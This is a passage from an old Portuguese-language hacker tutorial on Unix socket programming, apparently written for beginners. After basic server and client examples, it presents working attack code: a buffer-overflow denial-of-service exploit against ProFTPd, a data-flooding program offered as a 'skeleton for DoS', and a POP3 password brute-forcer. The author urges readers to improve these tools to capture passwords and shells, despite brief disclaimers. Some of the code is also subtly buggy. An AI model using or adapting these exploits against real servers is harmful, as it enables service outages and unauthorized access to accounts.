#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
```

```
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>

#define MINHAPORTA 20000    /* Porta que os usuarios irão se conectar*/
#define BACKLOG 10     /* Quantas conexões pendentes serão indexadas */

main()
{
        int Meusocket, Novosocket;  /* escuta em Meusocket, nova conexão
                                       em Novosocket */
        struct sockaddr_in meu_endereco;    /* informação do meu endereco */
        struct sockaddr_in endereco_dele; /* informação do endereco do conector */
        int tamanho;

        if ((Meusocket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
                perror("socket");
                exit(1);
        }

        meu_endereco.sin_family = AF_INET;
        meu_endereco.sin_port = htons(MINHAPORTA);
        meu_endereco.sin_addr.s_addr = INADDR_ANY; /* coloca IP automaticamente */
        bzero(&(meu_endereco.sin_zero), 8);        /* Zera o resto da estrutura */

        if (bind(Meusocket, (struct sockaddr *)&meu_endereco, sizeof(struct sockaddr))== -1)
        {
                perror("bind");
                exit(1);
        }
        if (listen(Meusocket, BACKLOG) < 0)
        {
                perror("listen");
                exit(1);
        }

        while(1) {
                tamanho = sizeof(struct sockaddr_in);
                if ((Novosocket = accept(Meusocket, (struct sockaddr *)&endereco_dele,&tamanho)) < 0){
                        perror("accept");
                        continue;
                }
                printf("Servidor: chegando conexão de %s\n",inet_ntoa(endereco_dele.sin_addr));
                if (!fork()) {
                        if (send(Novosocket, "Seja bem vindo!\n", 16, 0) == -1)
                        {
                                perror("send");
                                close(Novosocket);
                                exit(0);
                        }
                }
                close(Novosocket);
                while(waitpid(-1,NULL,WNOHANG) > 0); /* Limpa o processo crianca.fork() */
        }
}
----------------------------Servidor simples-----------------------------

Aí está um exemplo de um simples servidor, o que ele faz é quando alguém
se conectar a ele, ele enviará uma mensagem pela função send(), no caso
"Seja bem vindo!". Abaixo segue um esquema que um cliente simples para esse
servidor.
```

```
--------------------------Cliente Simples------------------------------

/* Headers */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORTA 20000    /* Porta para conectar */
#define MAXDATASIZE 100 /* máximo número de bytes que poderemos enviar
                           por vez */

int main(int argc, char *argv[])
{
        int Meusocket, numbytes;
        char buf[MAXDATASIZE];
        struct hostent *he;
        struct sockaddr_in seu_endereco;

        if (argc != 2) {
                fprintf(stderr,"Uso: cliente hostname\n");
                exit(1);
        }

        if ((he=gethostbyname(argv[1])) == NULL)   /* envia host info */
        {
                herror("gethostbyname");
                exit(1);
        }
        if ((Meusocket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
                perror("socket");
                exit(1);
        }

        seu_endereco.sin_family = AF_INET;
        seu_endereco.sin_port = htons(PORTA);
        seu_endereco.sin_addr = *((struct in_addr *)he->h_addr);
        bzero(&(seu_endereco.sin_zero), 8);

        if (connect(Meusocket,(struct sockaddr *)&seu_endereco, sizeof(struct sockaddr)) ==-1)
        {
                perror("connect");
                exit(1);
        }

        if ((numbytes=recv(Meusocket, buf, MAXDATASIZE, 0)) == -1)
        {
                perror("recv");
                exit(1);
        }
        buf[numbytes] = '\0';
        printf("Recebido: %s",buf);
        close(Meusocket);
        return 0;
}
```

```
------------------------------------------------------------------------

Aí estão os exemplos, execute o servidor primeiro, depois o cliente. Isso
é só para demonstrar de modo fácil como se pode manipular as funções
send() e recv(). Veremos agora um exemplo mais abrangente dessas duas
funções, algo mais prático para nossos intuitos.

----------------------Denial of service para Proftpd----------------------
/*
 * Crashes ProFTPd 1.2.0pre4 because of a buffer overflow.
 * This bug was discovered by the Nessus Security Scanner
 * I don't know if this flaw can be exploited to gain
 * root privileges.
 * The name of the created directory must not exceed 255 chars !
 * Written by Renaud Deraison <deraison@cvs.nessus.org>
 *
 * (Esse exploit serve para crashear um servidor de ftp, ProFTPd)
 * Eu alterei o fonte para os nossos propósitos, simplificando as coisas
 * ao máximo, mas no momento basta se ater a manipulação que ele deu
 * as funções send() e recv().(Nash Leon)
 */

/* Headers necessários */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/types.h>
#include <netinet/in.h>


#define VITIMA "127.0.0.1"
#define DIR_ESCRITA "/incoming"

int main()
{
        struct in_addr vitima;
        int Meusocket;
        struct sockaddr_in sa;

        char * dir_escrita = "CWD "DIR_ESCRITA"\r\n";
        char * mkd;
        char * cwd;

        /* Aqui se pega a definição acima do host que será vitimado */
        inet_aton(VITIMA, &vitima);
        mkd = malloc(300); bzero(mkd, 300);
        cwd = malloc(300); bzero(cwd, 300);

        Meusocket = socket(PF_INET, SOCK_STREAM,0);

        bzero(&sa, sizeof(sa));
        sa.sin_family = AF_INET;
        sa.sin_port   = htons(21);
        sa.sin_addr.s_addr = vitima.s_addr;

        if(!(connect(Meusocket, (struct sockaddr *)&sa, sizeof(struct sockaddr_in))))
        {
                char * buf = malloc(1024);
                int i;
```

```
                sprintf(mkd, "MKD ");
                memset(mkd+4, 'X', 254);
                sprintf(mkd, "%s\r\n", mkd);

                sprintf(cwd, "CWD ");
                memset(cwd+4, 'X', 254);
                sprintf(cwd, "%s\r\n", cwd);

                /* Vemos aqui uso pratico de recv() e send() */
                recv(Meusocket, buf, 1024, 0);
                send(Meusocket, "USER ftp\r\n", strlen("USER ftp\r\n"),0);
                recv(Meusocket, buf, 1024, 0);
                bzero(buf,1024);
                send(Meusocket, "PASS joe@\r\n", strlen("PASS joe@\r\n"),0);
                recv(Meusocket, buf, 1024, 0);
                bzero(buf, 1024);
                send(Meusocket, dir_escrita, strlen(dir_escrita), 0);
                recv(Meusocket, buf, 1024, 0);
                bzero(buf,1024);


                for(i=0;i<40;i++)
                {
                        send(Meusocket, mkd, strlen(mkd), 0);
                        recv(Meusocket, buf, 1024,0);
                        if(!strlen(buf))
                        {
                                printf("FTPd Remoto crasheado (veja /var/log/messages)\n");
                                exit(0);
                        }
                        bzero(buf, 1024);
                }
                printf("Servidor não é vulneravel\n");
                close(Meusocket);
        }
        else perror("connect ");
        return(0);
}
------------------------------FIM DO EXEMPLO-------------------------

Bem aí está um exemplo bem simples de envio e recebimento de dados
usando as funções send() e recv() para derrubar um servico.Essa técnica de
Denial of Service pode ser útil para muitas finalidades, mas não deve ser
usada como diversão ou simples vandalismo, lembrando, não nos responsabilizamos
pelo mau uso das ferramentas descritas nesse txt. Com essas funções
você já está apto a escrever sockets para enviar aqueles famosos "remote
root buffer overflow"!!:)
As funções sendto() e recvfrom() usadas em sockets
SOCK_DGRAM, serão vistas muito em breve,mas antes veremos as funções
write() e read() que são parecidas com send() e recv().


--------------------------------
*** AS FUNÇÕES write() e read() |
--------------------------------

Essas funções possuem a mesma finalidade das funções send() e recv().
write() serve para escrever num socket, enquanto read() para ler de um socket.
A função read() é equivalente a função recv() com um parâmetro flag de 0.
Da mesma forma, write() é equivalente a send() com flags igual a 0. Essas
funções devem ser usadas somente em sistemas unix, lembre-se, esse tutorial
foi escrito para usuarios linux, linux slackware, not red sux!
```

Veremos a declaração delas:

```
/* Header necessario */
#include <unistd.h>

ssize_t read(int Meusocket, void *buf, size_t count);
```

onde:

+ Meusocket -> Nosso bom e velho arquivo socket.

+ *buf -> Buffer de onde serão lidas as mensagens.

+ count -> Tamanho em bytes da mensagem a ser lida. Se count é igual a zero, read() retorna zero e não possui outro resultado. Se count é maior que sszize_max (declarado anteriormente), o resultado não é especificado.

para a função write() é a mesma coisa:

```
#include <unistd.h>

ssize_t write(int Meusocket, void *buf, size_t count);
```

onde os parâmetros equivalem aos mesmos parâmetros de send().

Veremos um simples esquema para essas funções, comecando com um programa que envia dados (uma sequência de caracter A), através da função write():

```
---------------------------------------------------------------------------
/* PROGRAMA EXEMPLO DE ENVIO DE DADOS USANDO A função WRITE()
   ESSE PROGRAMA FOI DESENVOLVIDO POR NASH LEON P/ TXT SOBRE SOCKETS.
   TRANKS RAMONA E UNSEKURITY TEAM.
   http://unsekurity.virtualave.net/
   Esse programa poderá servir como carcaça (esqueleto) para possíveis
   futuros programas geradores de Denial Of Service.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>

/* O correspondente em hexa do caracter A */

#define A 0x41

main(int argc, char *argv[])
{
        int Meusocket, porta, i;
        struct sockaddr_in vitima;
        struct hostent *he;
        char *buf[2000];

        if(argc == 1)
        {
                printf("Programa exemplo de uso de write() e read()\n");
                printf("Poderá servir como esqueleto para um DoS!!\n");
```

```
                printf("Uso: %s host porta\n",argv[0]);
                exit(0);
        }

        porta = atoi(argv[2]);

        Meusocket=socket(AF_INET,SOCK_STREAM,0);
        if(Meusocket < 0)
        {
                perror("Socket");
                exit(-1);
        }

        he = gethostbyname (argv[1]);
        if(he == NULL)
        {
                herror("Erro!Host desconhecido mano!\n");
                exit(-1);
        }
        vitima.sin_family = he->h_addrtype;
        vitima.sin_port = htons(porta);
        vitima.sin_addr =*((struct in_addr *)he->h_addr);
        bzero(&(vitima.sin_zero), 8);

        if(connect(Meusocket,(struct sockaddr *)&vitima, sizeof(vitima)) < 0)
        {
                fprintf(stderr,"Erro em connect()!!\n");
                exit(-1);
        }
        /* Zeramos o buffer responsável por conter dados de envio */

        bzero(buf,sizeof(buf));

        /* Aqui nós enchemos o buffer de envio com o caracter desejado */

        for(i=0; i < 1024; i++)
        {
                buf[i] = (char *) A;
        }
        buf[1024 -1] = '\0';

        /* Finalmente nossa função write(), que enviará o conteudo de buffer */
        printf("Enviando dados!!\n");

        if(write(Meusocket,buf,strlen(buf)) < 0)
        {
                printf("Erro em write()\n");
                close(Meusocket);
                exit(-1);
        }
        printf("Dados enviados com sucesso!\n");
        close(Meusocket);
        return 0;
}
-------------------------------------------------------------------------

Esse programa acima serve somente para enviar dados para um determinado
host e uma determinada porta, você poderia muito bem declarar um serviço
exemplo, ftp, onde se poderia tentar um DoS usando um simples esquema como:

        sprintf(buffer,"USER %s",buf);
        write(Meusocket,buffer,strlen(buffer));
```

Lógico, o programa deveria primeiro estar vulnerável a esse overflow, mas
por incrível que pareca, não sao poucos os programas que ainda hoje são
vulneráveis a isso. Mas quanto a overflows. Já temos um bom texto sobre isso
que será publicado muito em breve.

Para a função read(), eu fiz um exemplo mais prático, mas um pouco grande,
de forma que tentei deixar o mais claro possível a manipulação dessas duas
funções. O programa que segue abaixo é um brutal force que trabalha em cima
de um login dado, ele é básico, faz coisas básicas, mas você poderá fazer
com que ele seja otimizado, pense! E faça!! Brutal force é uma técnica,
embora muitos não consideram técnica por causa do nome..:)..mas escrever
um brutal pode ser muito útil..ainda hoje em dia na época de firewalls, isso
ainda é válido.. Veja como é o funcionamento do programa, lembre-se:
SABENDO FAZER UM O QUE TE IMPEDE DE FAZER TODOS?

```
----------------------------
*** TERCEIRO EXEMPLO PRÁTICO |
----------------------------

/* Programa desenvolvido por Nash Leon para tentar um brutal force
   em servidores pop, utilizando permutações e combinações num
   login. Não utiliza arquivos passwd, como a maioria dos brutais por aí.
   Breve disponibilizarei uma versão mais complexa e atual desse programa.
   OBS:Nao me responsabilizo pelo mau uso deste programa, ele foi
   construido somente com propósitos educacionais!!
   nashleon@yáoo.com.br
   Thanks Ramona e unsekurity team.
   http://unsekurity.virtualave.net
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORTA 110

int atacar(char *vitima, int porta, char *login, char *senha);
void Un(char *nome1, char *host);
void Uns(char *nome1, char *nome2, char *host);
void Unse(char *nome1, char *host);
void modo_errado();

main(int argc, char *argv[])
{
        char senhar[30];

        if(argc < 4)
        {
                system("clear");
                fprintf(stderr,"\n\t\t\tNASH LEON BRUTAL FORCE v0.1\n\n\n");
                fprintf(stderr,"Desenvolvido por Nash Leon e unsekurity team!\n");
                fprintf(stderr,"http://unsekurity.virtualave.net\n");
                fprintf(stderr,"Uso: %s <vitima> <login> <modo>\n\n",argv[0]);
                fprintf(stderr,"Onde modo pode ser:\n");
                fprintf(stderr,"un -> somente passwd igual a login\n");
                fprintf(stderr,"uns  ->passwd igual a login ao contrario\n");
```

```
                fprintf(stderr,"unse  -> passwd igual a login + um número no final(0 a 9)\n");
                fprintf(stderr,"unsek -> Todos os modos acima.\n");
                exit(0);
        }

        if(argv[3])
        {
                if(!strcmp(argv[3],"un"))
                {
                        system("clear");
                        printf("********************** NASH LEON BRUTAL FORCE v0.1 **********************\n");
                        printf("Executando modo \"un\" -> Somente senhas iguais aos logins!!\n");
                        printf("Boa sorte mano!!\n");
                        Un(argv[2], argv[1]);
                        return 0;
                }
                if(!strcmp(argv[3],"uns"))
                {
                        system("clear");
                        printf("********************** NASH LEON BRUTAL FORCE v0.1 **********************\n");
                        printf("Executando em modo \"unsek\"  -> Senha iguais ao login ao contrario!!\n");
                        strcpy(senhar,argv[2]);
                        Uns(argv[2],senhar,argv[1]);
                        return 0;
                }

                if(!strcmp(argv[3],"unse")){
                        system("clear");
                        printf("********************** NASH LEON BRUTAL FORCE v0.1 **********************\n");
                        printf("Executando em modo \"unse\"  -> Senhas igual ao login + número(0 a 9)\n");
                        printf("Boa Sorte Mano!!\n");
                        Unse(argv[2],argv[1]);
                        return 0;
                }

                if(!strcmp(argv[3],"unsek")){
                        system("clear");
                        printf("********************** NASH LEON BRUTAL FORCE v0.1 **********************\n");
                        printf("Executando em todos os modos possiveis desta versao!!\n");
                        printf("Boa sorte mano!!\n");
                        Un(argv[2],argv[1]);
                        Uns(argv[3],senhar,argv[1]);
                        Unse(argv[2],argv[1]);
                        return 0;
                }
        }
        modo_errado();
}

void modo_errado()
{
        printf("Modo errado\n");
        exit(1);
}

void Un(char *nome1, char *host)
{
        char senha[30];
        int porta = PORTA;
        strcpy(senha,nome1);
        atacar(host,porta,nome1,senha);
}
```

```
atacar(char *vitima, int porta, char *login, char *senha)
{
        char templ[512],temps[512], envia[1024],recebe[1024],saida[1024];
        int Meusocket, len;
        struct hostent *he;
        struct sockaddr_in lascado;

        he = gethostbyname(vitima);
        if (he < 0)
        {
                printf("Host Desconhecido mano!!\n");
                exit(1);
        }
        Meusocket = socket(AF_INET, SOCK_STREAM, 0);
        if(Meusocket < 0)
        {
                fprintf(stderr,"Erro no socket mano!!\n");
                exit(1);
        }
        lascado.sin_family = he->h_addrtype;
        lascado.sin_port = htons(porta);
        lascado.sin_addr = *((struct in_addr *)he->h_addr);
        bzero(&(lascado.sin_zero), 8);

        if(connect(Meusocket,(struct sockaddr * )&lascado, sizeof(lascado)) < 0)
        {
                printf("Erro em connect() mano!!\n");
                close(Meusocket);
                exit(0);
        }
        bzero(recebe,sizeof(recebe));
        len = read(Meusocket,recebe,strlen(recebe));
        sprintf(templ,"USER %s\n",login);

        if(write(Meusocket,templ,strlen(templ)) < strlen(templ))
        {
                fprintf(stderr,"Falha em write()!!\n");
                return -1;
        }
        bzero((char *)&recebe,sizeof(recebe));
        if( read(Meusocket,recebe, sizeof(recebe)) < 0)
        {
                perror("read()");
                return -1;
        }
        recebe[(strlen(recebe)-2)] = '\0';

        /* Aqui checa se existe login */

        if (strstr(recebe, "+OK") == NULL )
        {
                return -1;
        }
        bzero((char *)&envia, sizeof(envia));
        read(Meusocket,envia,1024);
        bzero((char *)&temps,sizeof(temps));
        sprintf(temps,"PASS %s\n",senha);

        if(write(Meusocket,temps,strlen(temps)) < strlen(temps))
        {
                perror("write()");
```

```
                return -1;
        }

        if(read(Meusocket,envia,sizeof(envia)) < 0)
        {
                perror("read()");
                return -1;
        }
        envia[(strlen(envia)-2)] = '\0';

        /* Aqui diz se senha é correta */

        if (strstr(envia, "+OK") != NULL )
        {
                printf("Password valido mano!!\n");
                printf("login \"%s\" possui senha \"%s\".\n",login,senha);
                bzero((char *)&saida,sizeof(saida));
                sprintf(saida,"%s","QUIT");

                write(Meusocket,saida,strlen(saida));
                bzero((char *)&saida,sizeof(saida));
                bzero((char *)&saida,sizeof(saida));
                return 0;
        }
        bzero((char *)&envia,sizeof(envia));
        bzero((char *)&recebe,sizeof(recebe));
        bzero((char *)&saida,sizeof(saida));
        sprintf(saida,"%s","QUIT");
        write(Meusocket,saida,strlen(saida));
        bzero((char *)&saida,sizeof(saida));
        return 0;
}

void Uns(char *nome1, char *nome2, char *host)
{
        int tamanho, i;
        int porta = PORTA;
        tamanho = strlen(nome1);
        for(i = 0; i < tamanho; i++)
        {
                nome2[i] = (&nome1[tamanho-i]) [-1];
        }
        nome2[tamanho] = '\0';
        atacar(host,porta,nome1,nome2);
}

void Unse(char *nome1, char *host)
{
        char senhas[30];
        int i;
        for(i=0;i<10;++i)
        {
                sprintf(senhas,"%s%d",nome1,i);
        }
        atacar(host,PORTA,nome1,senhas);
}

-----------------------------------------------------------------------

Bem.aí está amigos, um brutal force. No uso da função read(), eu
coloquei um espaço para o terminador nulo como em:
```

```
        envia[(strlen(envia)-2)] = '\0';
```

Geralmente isso se faz necessário. Com esse brutal force, é possivel, com paciência, logico! Você conseguir capturar algumas senhas, bem como shells...gostaria de lembrar, no entanto, que esse não é um bom método, pois deixa muito rastro, bem como existem sistemas que não permitem conexão de fora na porta 110. Mas pegue os conceitos, com um pouco de dedicação, você poderá melhorar esse programa, ou mesmo fazer um bem melhor que tenta em outras portas, ex. porta 80, se possível na vítima, seria uma boa. Fecho aqui o último exemplo desse tutorial, espero que eles tenham sido úteis ou sejam úteis para você, lembrando amigo, se você achou isso tudo difícil, não desanime, procure outros textos sobre sockets, existem muitos e melhores do que este, se você achou fácil, espero que os conceitos das técnicas sirvam para você, bem como digo que em breve, escreverei algo mais complexo para nutrir seus conhecimentos.

```
-------------------------
*** CONSIDERAÇÕES FINAIS |
-------------------------
```

Terminamos essa fase inicial de escrita de sockets, já temos materiais quase prontos sobre uso de mais funções como select(), bem como material sobre UDP socks, mas não publicaremos ainda por questão de prioridade, como escrevemos para Newbies, publicaremos primeiro outros materiais, mas em breve, muito breve mesmo, estará disponível aqui coisas mais interessantes ainda sobre sockets em unix e talvez winsocks.
Espero mesmo que tudo que escrevi acima tenha algum valor útil para alguém, lembrando sempre, que a união faz a força, se mais pessoas se engajarem em escrever e publicar técnicas e conceitos de fuçadores, sem dúvida o cenario tende a crescer. Obrigado aqueles que me incentivaram na escrita deste e dos outros textos, bem como os que se oporam, vocês são a minha maior inspiração!!:)..Uma das coisas que me fez entrar nessa vida de fuçador, foi um dilema da ética: "LIBERDADE DE INFORMAÇÃO!", guardando ou retendo o que eu aprendi, estarei fugindo ao dilema que me atraiu, e consequentemente fazendo morrer o espirito hacker que há dentro de mim.
Um abraço cordial a todos!

Nash Leon vulgo coraçãodeleao.

```
-----------------------------------------------
*** ALGUNS LINKS SOBRE PROGRAMACAO DE SOCKETS |
-----------------------------------------------
```

http://www.lowtek.com/sockets/
http://www.ecst.csuchico.edu/~beej/guide/ne
http://www.auroraonline.com/sock-faq
http://kipper.york.ac.uk/~vic/sock-faq
http://packetstorm.securify.com/programming-tutorials/Sockets/

---------- FIM DO ARQUIVO ----------